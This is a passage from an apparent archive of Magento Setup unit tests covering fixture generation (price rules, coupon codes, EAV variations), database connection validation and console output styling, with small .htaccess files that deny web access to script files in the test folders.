$modelMock], [Category::class, $categoryMock], [MetadataPool::class, $metadataPoolMock] ]; $metadataPoolMock ->expects($this->once()) ->method('getMetadata') ->with(RuleInterface::class) ->willReturn($metadataMock); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->once()) ->method('create') ->willReturn($storeManagerMock); $objectManagerMock->expects($this->exactly(3)) ->method('get') ->willReturnMap($valueMap); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(1); $this->fixtureModelMock ->expects($this->exactly(4)) ->method('getObjectManager') ->willReturn($objectManagerMock); $this->model->execute(); } public function testNoFixtureConfigValue() { $ruleMock = $this->createMock(\Magento\SalesRule\Model\Rule::class); $ruleMock->expects($this->never())->method('save'); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->never()) ->method('get') ->with(\Magento\SalesRule\Model\Rule::class) ->willReturn($ruleMock); $this->fixtureModelMock ->expects($this->never()) ->method('getObjectManager') ->willReturn($objectManagerMock); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(false); $this->model->execute(); } public function testGetActionTitle() { $this->assertSame('Generating catalog price rules', $this->model->getActionTitle()); } public function testIntroduceParamLabels() { $this->assertSame([ 'catalog_price_rules' => 'Catalog Price Rules' ], $this->model->introduceParamLabels()); } } Magento/Setup/Test/Unit/Fixtures/CouponCodesFixtureTest.php000077700000011272151323623130020057 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Framework\ObjectManager\ObjectManager; use Magento\SalesRule\Model\Coupon; use Magento\SalesRule\Model\Rule; use Magento\Setup\Fixtures\CartPriceRulesFixture; use Magento\Setup\Fixtures\CouponCodesFixture; use Magento\Setup\Fixtures\FixtureModel; use Magento\Store\Model\StoreManager; use Magento\Store\Model\Website; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class CouponCodesFixtureTest extends TestCase { /** * @var CartPriceRulesFixture */ private $model; /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var \Magento\SalesRule\Model\RuleFactory|MockObject */ private $ruleFactoryMock; /** * @var \Magento\SalesRule\Model\CouponFactory|MockObject */ private $couponCodeFactoryMock; /** * setUp */ protected function setUp(): void { $this->fixtureModelMock = $this->createMock(FixtureModel::class); $this->ruleFactoryMock = $this->createPartialMock(\Magento\SalesRule\Model\RuleFactory::class, ['create']); $this->couponCodeFactoryMock = $this->createPartialMock( \Magento\SalesRule\Model\CouponFactory::class, ['create'] ); $this->model = new CouponCodesFixture( $this->fixtureModelMock, $this->ruleFactoryMock, $this->couponCodeFactoryMock ); } /** * testExecute */ public function testExecute() { $websiteMock = $this->createMock(Website::class); $websiteMock->expects($this->once()) ->method('getId') ->willReturn('website_id'); $storeManagerMock = $this->createMock(StoreManager::class); $storeManagerMock->expects($this->once()) ->method('getWebsites') ->willReturn([$websiteMock]); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->once()) ->method('create') ->willReturn($storeManagerMock); $valueMap = [ ['coupon_codes', 0, 1] ]; $this->fixtureModelMock ->expects($this->exactly(1)) ->method('getValue') ->willReturnMap($valueMap); $this->fixtureModelMock ->expects($this->exactly(1)) ->method('getObjectManager') ->willReturn($objectManagerMock); $ruleMock = $this->createMock(Rule::class); $this->ruleFactoryMock->expects($this->once()) ->method('create') ->willReturn($ruleMock); $couponMock = $this->createMock(Coupon::class); $couponMock->expects($this->once()) ->method('setRuleId') ->willReturnSelf(); $couponMock->expects($this->once()) ->method('setCode') ->willReturnSelf(); $couponMock->expects($this->once()) ->method('setIsPrimary') ->willReturnSelf(); $couponMock->expects($this->once()) ->method('setType') ->willReturnSelf(); $couponMock->expects($this->once()) ->method('save') ->willReturnSelf(); $this->couponCodeFactoryMock->expects($this->once()) ->method('create') ->willReturn($couponMock); $this->model->execute(); } /** * testNoFixtureConfigValue */ public function testNoFixtureConfigValue() { $ruleMock = $this->createMock(Rule::class); $ruleMock->expects($this->never())->method('save'); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->never()) ->method('get') ->with(Rule::class) ->willReturn($ruleMock); $this->fixtureModelMock ->expects($this->never()) ->method('getObjectManager') ->willReturn($objectManagerMock); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(false); $this->model->execute(); } /** * testGetActionTitle */ public function testGetActionTitle() { $this->assertSame('Generating coupon codes', $this->model->getActionTitle()); } /** * testIntroduceParamLabels */ public function testIntroduceParamLabels() { $this->assertSame(['coupon_codes' => 'Coupon Codes'], $this->model->introduceParamLabels()); } } Magento/Setup/Test/Unit/Fixtures/FixtureModelTest.php000077700000001474151323623130016701 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Indexer\Console\Command\IndexerReindexCommand; use Magento\Setup\Fixtures\FixtureModel; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Output\OutputInterface; class FixtureModelTest extends TestCase { /** * @var FixtureModel */ private $model; protected function setUp(): void { $reindexCommandMock = $this->createMock(IndexerReindexCommand::class); $this->model = new FixtureModel($reindexCommandMock); } public function testReindex() { $outputMock = $this->getMockForAbstractClass(OutputInterface::class); $this->model->reindex($outputMock); } } Magento/Setup/Test/Unit/Fixtures/EavVariationsFixtureTest.php000077700000017351151323623130020415 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Catalog\Model\Product; use Magento\Catalog\Model\ResourceModel\Eav\Attribute; use Magento\Catalog\Model\ResourceModel\Eav\AttributeFactory; use Magento\Eav\Model\Config; use Magento\Eav\Model\Entity\Attribute\Set; use Magento\Framework\App\CacheInterface; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Fixtures\EavVariationsFixture; use Magento\Setup\Fixtures\FixtureModel; use Magento\Store\Model\Store; use Magento\Store\Model\StoreManager; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Unit test for \Magento\Setup\Fixtures\EavVariationsFixture. * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class EavVariationsFixtureTest extends TestCase { /** * @var FixtureModel|MockObject */ private $fixtureModelMock; /** * @var EavVariationsFixture */ private $model; /** * @var StoreManager|MockObject */ private $storeManagerMock; /** * @var Set|MockObject */ private $attributeSetMock; /** * @var CacheInterface|MockObject */ private $cacheMock; /** * @var Config|MockObject */ private $eavConfigMock; /** * @var MockObject */ private $attributeFactoryMock; /** * @inheritdoc */ protected function setUp(): void { $this->fixtureModelMock = $this->getMockBuilder(FixtureModel::class) ->disableOriginalConstructor() ->getMock(); $this->eavConfigMock = $this->getMockBuilder(Config::class) ->disableOriginalConstructor() ->getMock(); $this->storeManagerMock = $this->getMockBuilder(StoreManager::class) ->disableOriginalConstructor() ->getMock(); $this->attributeSetMock = $this->getMockBuilder(Set::class) ->disableOriginalConstructor() ->getMock(); $this->cacheMock = $this->getMockBuilder(CacheInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->attributeFactoryMock = $this->getMockBuilder(AttributeFactory::class) ->setMethods(['create']) ->disableOriginalConstructor() ->getMock(); $this->model = (new ObjectManager($this))->getObject( EavVariationsFixture::class, [ 'fixtureModel' => $this->fixtureModelMock, 'eavConfig' => $this->eavConfigMock, 'storeManager' => $this->storeManagerMock, 'attributeSet' => $this->attributeSetMock, 'cache' => $this->cacheMock, 'attributeFactory' => $this->attributeFactoryMock, ] ); } /** * Test for execute method when attribute already exists. * * @return void */ public function testDoNotExecuteWhenAttributeAlreadyExist() { $this->fixtureModelMock->expects($this->once()) ->method('getValue')->with('configurable_products', [])->willReturn(10); $this->eavConfigMock->expects($this->once())->method('getEntityAttributeCodes') ->willReturn(['configurable_variation']); $this->attributeFactoryMock->expects($this->never())->method('create'); $this->model->execute(); } /** * Test for execute method. * * @return void */ public function testExecute() { $storeId = 5; $this->eavConfigMock->expects($this->once()) ->method('getEntityAttributeCodes')->willReturn(['attr1', 'attr2']); $this->fixtureModelMock ->expects($this->any()) ->method('getValue') ->willReturnMap([ ['configurable_products', [], ['some-config']], ['configurable_products_variation', 3, 1], ]); $storeMock = $this->getMockBuilder(Store::class) ->disableOriginalConstructor() ->getMock(); $this->storeManagerMock->expects($this->once())->method('getStores')->willReturn([$storeId => $storeMock]); $this->attributeSetMock->expects($this->once())->method('load')->willReturnSelf(); $this->attributeSetMock->expects($this->once())->method('getDefaultGroupId')->willReturn(2); $attributeMock = $this->getMockBuilder(Attribute::class) ->setMethods([ 'setAttributeSetId', 'setAttributeGroupId', 'save', ]) ->disableOriginalConstructor() ->getMock(); $attributeMock->expects($this->exactly(2))->method('setAttributeSetId')->willReturnSelf(); $attributeMock->expects($this->once())->method('setAttributeGroupId')->willReturnSelf(); $this->attributeFactoryMock->expects($this->once())->method('create') ->with( [ 'data' => [ 'frontend_label' => [ $storeId => 'configurable variations', ], 'frontend_input' => 'select', 'is_required' => '0', 'option' => [ 'order' => ['option_1' => 1], 'value' => ['option_1' => [$storeId => 'option 1']], 'delete' => ['option_1' => ''], ], 'default' => ['option_0'], 'attribute_code' => 'configurable_variation', 'is_global' => '1', 'default_value_text' => '', 'default_value_yesno' => '0', 'default_value_date' => '', 'default_value_textarea' => '', 'is_unique' => '0', 'is_searchable' => '1', 'is_visible_in_advanced_search' => '0', 'is_comparable' => '0', 'is_filterable' => '1', 'is_filterable_in_search' => '0', 'is_used_for_promo_rules' => '0', 'is_html_allowed_on_front' => '1', 'is_visible_on_front' => '0', 'used_in_product_listing' => '0', 'used_for_sort_by' => '0', 'source_model' => null, 'backend_model' => null, 'apply_to' => [], 'backend_type' => 'int', 'entity_type_id' => 4, 'is_user_defined' => 1, 'swatch_input_type' => 'visual', 'swatchvisual' => [ 'value' => ['option_1' => '#ffffff'], ], 'optionvisual' => [ 'value' => ['option_1' => ['option 1']], ], ] ] )->willReturn($attributeMock); $this->cacheMock->expects($this->once()) ->method('remove')->with(Config::ATTRIBUTES_CACHE_ID . Product::ENTITY); $this->model->execute(); } /** * Test for getActionTitle method. * * @return void */ public function testGetActionTitle() { $this->assertSame('Generating configurable EAV variations', $this->model->getActionTitle()); } /** * Test for introduceParamLabels method. * * @return void */ public function testIntroduceParamLabels() { $this->assertSame([], $this->model->introduceParamLabels()); } } Magento/Setup/Test/Unit/Fixtures/ConfigsApplyFixtureTest.php000077700000005535151323623130020241 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Config\App\Config\Type\System; use Magento\Framework\App\Cache; use Magento\Framework\App\CacheInterface; use Magento\Framework\App\Config; use Magento\Framework\App\Config\ValueInterface; use Magento\Framework\ObjectManager\ObjectManager; use Magento\Setup\Fixtures\ConfigsApplyFixture; use Magento\Setup\Fixtures\FixtureModel; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ConfigsApplyFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var ConfigsApplyFixture */ private $model; protected function setUp(): void { $this->fixtureModelMock = $this->createMock(FixtureModel::class); $this->model = new ConfigsApplyFixture($this->fixtureModelMock); } public function testExecute() { $cacheMock = $this->createMock(Cache::class); $valueMock = $this->createMock(Config::class); $configMock = $this->createMock(System::class); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock ->method('get') ->willReturnMap([ [CacheInterface::class, $cacheMock], [System::class, $configMock] ]); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(['config' => $valueMock]); $this->fixtureModelMock ->method('getObjectManager') ->willReturn($objectManagerMock); $cacheMock->method('clean'); $configMock->method('clean'); $this->model->execute(); } public function testNoFixtureConfigValue() { $configMock = $this->getMockBuilder(ValueInterface::class) ->setMethods(['save']) ->getMockForAbstractClass(); $configMock->expects($this->never())->method('save'); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->never()) ->method('create') ->willReturn($configMock); $this->fixtureModelMock ->expects($this->never()) ->method('getObjectManager') ->willReturn($objectManagerMock); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(false); $this->model->execute(); } public function testGetActionTitle() { $this->assertSame('Config Changes', $this->model->getActionTitle()); } public function testIntroduceParamLabels() { $this->assertSame([], $this->model->introduceParamLabels()); } } Magento/Setup/Test/Unit/Fixtures/.htaccess000077700000000177151323623130014516 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Validator/DbValidatorTest.php000077700000014551151323623130016601 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Validator; use Magento\Framework\DB\Adapter\AdapterInterface; use Magento\Setup\Module\ConnectionFactory; use Magento\Setup\Validator\DbValidator; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class DbValidatorTest extends TestCase { /** * @var DbValidator|MockObject */ private $dbValidator; /** * @var ConnectionFactory|MockObject */ private $connectionFactory; /** * @var AdapterInterface|MockObject */ private $connection; protected function setUp(): void { $this->connectionFactory = $this->createMock(ConnectionFactory::class); $this->connection = $this->getMockForAbstractClass(AdapterInterface::class); $this->connectionFactory->expects($this->any())->method('create')->willReturn($this->connection); $this->dbValidator = new DbValidator($this->connectionFactory); } public function testCheckDatabaseConnection() { $this->connection ->expects($this->exactly(2)) ->method('fetchOne') ->with('SELECT version()') ->willReturn('5.6.0-0ubuntu0.12.04.1'); $pdo = $this->getMockForAbstractClass(\Zend_Db_Statement_Interface::class, [], '', false); $this->connection ->expects($this->atLeastOnce()) ->method('query') ->willReturn($pdo); $listOfPrivileges = [ ['SELECT'], ['INSERT'], ['UPDATE'], ['DELETE'], ['CREATE'], ['DROP'], ['INDEX'], ['ALTER'], ['CREATE TEMPORARY TABLES'], ['LOCK TABLES'], ['EXECUTE'], ['CREATE VIEW'], ['SHOW VIEW'], ['CREATE ROUTINE'], ['ALTER ROUTINE'], ['TRIGGER'], ]; $accessibleDbs = ['some_db', 'name', 'another_db']; $pdo->expects($this->atLeastOnce()) ->method('fetchAll') ->willReturnMap( [ [\PDO::FETCH_COLUMN, 0, $accessibleDbs], [\PDO::FETCH_NUM, null, $listOfPrivileges] ] ); $this->assertTrue($this->dbValidator->checkDatabaseConnection('name', 'host', 'user', 'password')); $this->assertTrue($this->dbValidator->checkDatabaseConnection('name', 'host:3339', 'user', 'password')); } public function testCheckDatabaseConnectionNotEnoughPrivileges() { $this->expectException('Magento\Setup\Exception'); $this->expectExceptionMessage('Database user does not have enough privileges.'); $this->connection ->expects($this->once()) ->method('fetchOne') ->with('SELECT version()') ->willReturn('5.6.0-0ubuntu0.12.04.1'); $pdo = $this->getMockForAbstractClass(\Zend_Db_Statement_Interface::class, [], '', false); $this->connection ->expects($this->atLeastOnce()) ->method('query') ->willReturn($pdo); $listOfPrivileges = [['SELECT']]; $accessibleDbs = ['some_db', 'name', 'another_db']; $pdo->expects($this->atLeastOnce()) ->method('fetchAll') ->willReturnMap( [ [\PDO::FETCH_COLUMN, 0, $accessibleDbs], [\PDO::FETCH_NUM, null, $listOfPrivileges] ] ); $this->dbValidator->checkDatabaseConnection('name', 'host', 'user', 'password'); } public function testCheckDatabaseConnectionDbNotAccessible() { $this->expectException('Magento\Setup\Exception'); $this->expectExceptionMessage( 'Database \'name\' does not exist or specified database server user does not have' ); $this->connection ->expects($this->once()) ->method('fetchOne') ->with('SELECT version()') ->willReturn('5.6.0-0ubuntu0.12.04.1'); $pdo = $this->getMockForAbstractClass(\Zend_Db_Statement_Interface::class, [], '', false); $this->connection ->expects($this->atLeastOnce()) ->method('query') ->willReturn($pdo); $accessibleDbs = ['some_db', 'another_db']; $pdo->expects($this->atLeastOnce()) ->method('fetchAll') ->willReturn($accessibleDbs); $this->dbValidator->checkDatabaseConnection('name', 'host', 'user', 'password'); } public function testCheckDatabaseTablePrefix() { $this->assertTrue($this->dbValidator->checkDatabaseTablePrefix('test')); } public function testCheckDatabaseTablePrefixWrongFormat() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Please correct the table prefix format'); $this->assertTrue($this->dbValidator->checkDatabaseTablePrefix('_wrong_format')); } public function testCheckDatabaseTablePrefixWrongLength() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Table prefix length can\'t be more than'); $this->assertTrue( $this->dbValidator->checkDatabaseTablePrefix('mvbXzXzItSIr0wrZW3gqgV2UKrWiK1Mj7bkBlW72rZW3gqgV2UKrWiK1M') ); } public function testCheckDatabaseConnectionFailed() { $this->expectException('Magento\Setup\Exception'); $this->expectExceptionMessage('Database connection failure.'); $connectionFactory = $this->createMock(ConnectionFactory::class); $connectionFactory->expects($this->once())->method('create')->willReturn(false); $this->dbValidator = new DbValidator($connectionFactory); $this->dbValidator->checkDatabaseConnection('name', 'host', 'user', 'password'); } public function testCheckDatabaseConnectionIncompatible() { $this->expectException('Magento\Setup\Exception'); $this->expectExceptionMessage('Sorry, but we support MySQL version'); $this->connection ->expects($this->once()) ->method('fetchOne') ->with('SELECT version()') ->willReturn('5.5.40-0ubuntu0.12.04.1'); $this->dbValidator->checkDatabaseConnection('name', 'host', 'user', 'password'); } } Magento/Setup/Test/Unit/Validator/.htaccess000077700000000177151323623130014632 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Console/CommandListTest.php000077700000001625151323623130016273 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console; use Laminas\ServiceManager\ServiceManager; use Magento\Setup\Console\CommandList; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class CommandListTest extends TestCase { /** * @var MockObject|CommandList */ private $commandList; /** * @var MockObject|ServiceManager */ private $serviceManager; protected function setUp(): void { $this->serviceManager = $this->createMock(ServiceManager::class); $this->commandList = new CommandList($this->serviceManager); } public function testGetCommands() { $this->serviceManager->expects($this->atLeastOnce()) ->method('get'); $this->commandList->getCommands(); } } Magento/Setup/Test/Unit/Console/Style/MagentoStyleTest.php000077700000024546151323623130017603 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Style; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Console\Style\MagentoStyle; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Helper\SymfonyQuestionHelper; use Symfony\Component\Console\Helper\TableCell; use Symfony\Component\Console\Input\ArrayInput; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Provide tests for MagentoStyle output decorator. */ class MagentoStyleTest extends TestCase { /** * Test subject. * * @var MagentoStyle */ private $magentoStyle; /** * Auxiliary class replacing console output. * * @var TestOutput */ private $testOutput; /** * @inheritdoc */ protected function setUp(): void { $input = new ArrayInput(['name' => 'foo'], new InputDefinition([new InputArgument('name')])); $this->testOutput = new TestOutput(); $this->magentoStyle = new MagentoStyle($input, $this->testOutput); } /** * Test style decorator will output block with correct style. * * @return void */ public function testBlockStyle() { $this->magentoStyle->block( ['test first message', 'test second message'], 'testBlockType', 'testBlockStyle', 'testBlockPrefix' ); // @codingStandardsIgnoreStart $expected = PHP_EOL . PHP_EOL . PHP_EOL . '\<testBlockStyle\>testBlockPrefix\[testBlockType\] test first message\s+' . PHP_EOL . '\<testBlockStyle\>testBlockPrefix\s+' . PHP_EOL . '\<testBlockStyle\>testBlockPrefix \s+ test second message\s+' . PHP_EOL . PHP_EOL; // @codingStandardsIgnoreEnd $this->assertMatchesRegularExpression( '/' . $expected . '/', $this->testOutput->output, 'Block does not match output' ); } /** * Test style decorator will add title with correct style. * * @return void */ public function testTitleStyle() { $this->magentoStyle->title('My Title'); $expected = PHP_EOL . PHP_EOL . PHP_EOL . ' My Title' . PHP_EOL . ' ========' . PHP_EOL . PHP_EOL; $this->assertEquals($expected, $this->testOutput->output, 'Title does not match output'); } /** * Test style decorator will output section with correct style. * * @return void */ public function testSectionStyle() { $this->magentoStyle->section('My Section'); $expected = PHP_EOL . PHP_EOL . PHP_EOL . ' My Section' . PHP_EOL . ' ----------' . PHP_EOL . PHP_EOL; $this->assertEquals($expected, $this->testOutput->output, 'Section does not match output'); } /** * Test style decorator will output listing with proper style. * * @return void */ public function testListingStyle() { $this->magentoStyle->listing(['test first element', 'test second element']); $expected = PHP_EOL . ' * test first element' . PHP_EOL . ' * test second element' . PHP_EOL . PHP_EOL; $this->assertEquals($expected, $this->testOutput->output, 'Listing does not match output'); } /** * Test style decorator will output text with proper style. * * @return void */ public function testTextStyle() { $this->magentoStyle->text('test message'); $expected = PHP_EOL . ' test message' . PHP_EOL; $this->assertEquals($expected, $this->testOutput->output, 'Text does not match output'); } /** * Test style decorator will output comment with proper style. * * @return void */ public function testCommentStyle() { $this->magentoStyle->comment('test comment'); $expected = PHP_EOL . PHP_EOL . PHP_EOL . '\s+test comment\s+' . PHP_EOL . PHP_EOL; $this->assertMatchesRegularExpression( '/' . $expected . '/', $this->testOutput->output, 'Comment does not match output' ); } /** * Test style decorator will output success message with proper style. * * @return void */ public function testSuccessStyle() { $this->magentoStyle->success('test success message'); $expected = PHP_EOL . PHP_EOL . PHP_EOL . ' \[SUCCESS\] test success message\s+' . PHP_EOL . PHP_EOL; $this->assertMatchesRegularExpression( '/' . $expected . '/', $this->testOutput->output, 'Success message does not match output' ); } /** * Test style decorator will output error message with proper style. * * @return void */ public function testErrorStyle() { $this->magentoStyle->error('test error message'); $expected = PHP_EOL . PHP_EOL . PHP_EOL . '\s+\[ERROR\] test error message\s+' . PHP_EOL . PHP_EOL; $this->assertMatchesRegularExpression( '/' . $expected . '/', $this->testOutput->output, 'Error message does not match output' ); } /** * Test style decorator will output warning message with proper style. * * @return void */ public function testWarningStyle() { $this->magentoStyle->warning('test warning message'); $expected = PHP_EOL . PHP_EOL . PHP_EOL . '\s+\[WARNING\] test warning message\s+' . PHP_EOL . PHP_EOL; $this->assertMatchesRegularExpression( '/' . $expected . '/', $this->testOutput->output, 'Warning message does not match output' ); } /** * Test style decorator will output note message with proper style. * * @return void */ public function testNoteStyle() { $this->magentoStyle->note('test note message'); $expected = PHP_EOL . PHP_EOL . PHP_EOL . '\s+\[NOTE\] test note message\s+' . PHP_EOL . PHP_EOL; $this->assertMatchesRegularExpression( '/' . $expected . '/', $this->testOutput->output, 'Note message does not match output' ); } /** * Test style decorator will output caution message with proper style. * * @return void */ public function testCautionStyle() { $this->magentoStyle->caution('test caution message'); $expected = PHP_EOL . PHP_EOL . PHP_EOL . '\s+! \[CAUTION\] test caution message\s+' . PHP_EOL . PHP_EOL; $this->assertMatchesRegularExpression( '/' . $expected . '/', $this->testOutput->output, 'Caution message does not match output' ); } /** * Test style decorator will output table with proper style. * * @return void */ public function testTableStyle() { $headers = [ [new TableCell('Main table title', ['colspan' => 2])], ['testHeader1', 'testHeader2', 'testHeader3'], ]; $rows = [ [ 'testValue1', 'testValue2', new TableCell('testValue3', ['rowspan' => 2]), ], ['testValue4', 'testValue5'], ]; $this->magentoStyle->table($headers, $rows); $expected = ' ------------- ------------- ------------- ' . PHP_EOL . ' Main table title ' . PHP_EOL . ' ------------- ------------- ------------- ' . PHP_EOL . ' testHeader1 testHeader2 testHeader3 ' . PHP_EOL . ' ------------- ------------- ------------- ' . PHP_EOL . ' testValue1 testValue2 testValue3 ' . PHP_EOL . ' testValue4 testValue5 ' . PHP_EOL . ' ------------- ------------- ------------- ' . PHP_EOL . PHP_EOL; $this->assertEquals($expected, $this->testOutput->output, 'Table does not match output'); } /** * @return void */ public function testAsk() { $objectManager = new ObjectManager($this); $formatter = $this->getMockBuilder(OutputFormatter::class) ->disableOriginalClone() ->disableOriginalConstructor() ->getMock(); $input = $this->getMockBuilder(InputInterface::class) ->setMethods(['isInteractive']) ->disableOriginalConstructor() ->getMockForAbstractClass(); $input->expects($this->exactly(2)) ->method('isInteractive') ->willReturn(false); $output = $this->getMockBuilder(OutputInterface::class) ->setMethods(['getVerbosity', 'getFormatter']) ->disableOriginalConstructor() ->getMockForAbstractClass(); $output->expects($this->once()) ->method('getVerbosity') ->willReturn(32); $output->expects($this->once()) ->method('getFormatter') ->willReturn($formatter); $magentoStyle = $objectManager->getObject( MagentoStyle::class, [ 'input' => $input, 'output' => $output, ] ); $questionHelper = $this->getMockBuilder(SymfonyQuestionHelper::class) ->disableOriginalConstructor() ->getMock(); $questionHelper->expects($this->once()) ->method('ask') ->willReturn('test Answer'); $objectManager->setBackwardCompatibleProperty($magentoStyle, 'questionHelper', $questionHelper); $this->assertEquals( 'test Answer', $magentoStyle->ask('test question?', 'test default') ); } /** * Test style decorator will output progress with proper style. * * @return void */ public function testProgress() { $this->magentoStyle->progressStart(2); $this->magentoStyle->progressAdvance(3); $this->magentoStyle->progressFinish(); $expected = ' 0/2 [> ] 0%' . PHP_EOL . ' 3/3 [============================] 100%' . PHP_EOL . PHP_EOL; $this->assertEquals($expected, $this->testOutput->output, 'Progress does not match output'); } } Magento/Setup/Test/Unit/Console/Style/.htaccess000077700000000177151323623130015407 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Console/Style/TestOutput.php000077700000001134151323623130016454 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Style; use Symfony\Component\Console\Output\Output; /** * Auxiliary class for MagentoStyleTest. */ class TestOutput extends Output { public $output = ''; public function clear() { $this->output = ''; } /** * @param string $message * @param bool $newline */ protected function doWrite($message, $newline) { $this->output .= $message . ($newline ? "\n" : ''); } } Magento/Setup/Test/Unit/Console/Command/InfoCurrencyListCommandTest.php000077700000002733151323623130022201 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\Setup\Lists; use Magento\Setup\Console\Command\InfoCurrencyListCommand; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Helper\Table; use Symfony\Component\Console\Tester\CommandTester; class InfoCurrencyListCommandTest extends TestCase { public function testExecute() { $currencies = [ 'CUR' => 'Currency description' ]; $table = $this->createMock(Table::class); $table->expects($this->once())->method('setHeaders')->with(['Currency', 'Code']); $table->expects($this->once())->method('addRow')->with(['Currency description', 'CUR']); /** @var \Symfony\Component\Console\Helper\TableFactory|MockObject $helperSet */ $tableFactoryMock = $this->createMock(\Symfony\Component\Console\Helper\TableFactory::class); $tableFactoryMock->expects($this->once())->method('create')->willReturn($table); /** @var Lists|MockObject $list */ $list = $this->createMock(Lists::class); $list->expects($this->once())->method('getCurrencyList')->willReturn($currencies); $command = new InfoCurrencyListCommand($list, $tableFactoryMock); $commandTester = new CommandTester($command); $commandTester->execute([]); } } Magento/Setup/Test/Unit/Console/Command/ConfigSetCommandTest.php000077700000007761151323623130020626 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Module\ModuleList; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Console\Command\ConfigSetCommand; use Magento\Setup\Model\ConfigModel; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Helper\QuestionHelper; use Symfony\Component\Console\Tester\CommandTester; class ConfigSetCommandTest extends TestCase { /** * @var MockObject|ConfigModel */ private $configModel; /** * @var MockObject|DeploymentConfig */ private $deploymentConfig; /** * @var MockObject|ConfigSetCommand */ private $command; protected function setUp(): void { $option = $this->createMock(TextConfigOption::class); $option ->expects($this->any()) ->method('getName') ->willReturn('db-host'); $this->configModel = $this->createMock(ConfigModel::class); $this->configModel ->expects($this->exactly(2)) ->method('getAvailableOptions') ->willReturn([$option]); $moduleList = $this->createMock(ModuleList::class); $this->deploymentConfig = $this->createMock(DeploymentConfig::class); $this->command = new ConfigSetCommand($this->configModel, $moduleList, $this->deploymentConfig); } public function testExecuteNoInteractive() { $this->deploymentConfig ->expects($this->once()) ->method('get') ->willReturn(null); $this->configModel ->expects($this->once()) ->method('process') ->with(['db-host' => 'host']); $commandTester = new CommandTester($this->command); $commandTester->execute(['--db-host' => 'host']); $this->assertSame( 'You saved the new configuration.' . PHP_EOL, $commandTester->getDisplay() ); } public function testExecuteInteractiveWithYes() { $this->deploymentConfig ->expects($this->once()) ->method('get') ->willReturn('localhost'); $this->configModel ->expects($this->once()) ->method('process') ->with(['db-host' => 'host']); $this->checkInteraction('Y'); } public function testExecuteInteractiveWithNo() { $this->deploymentConfig 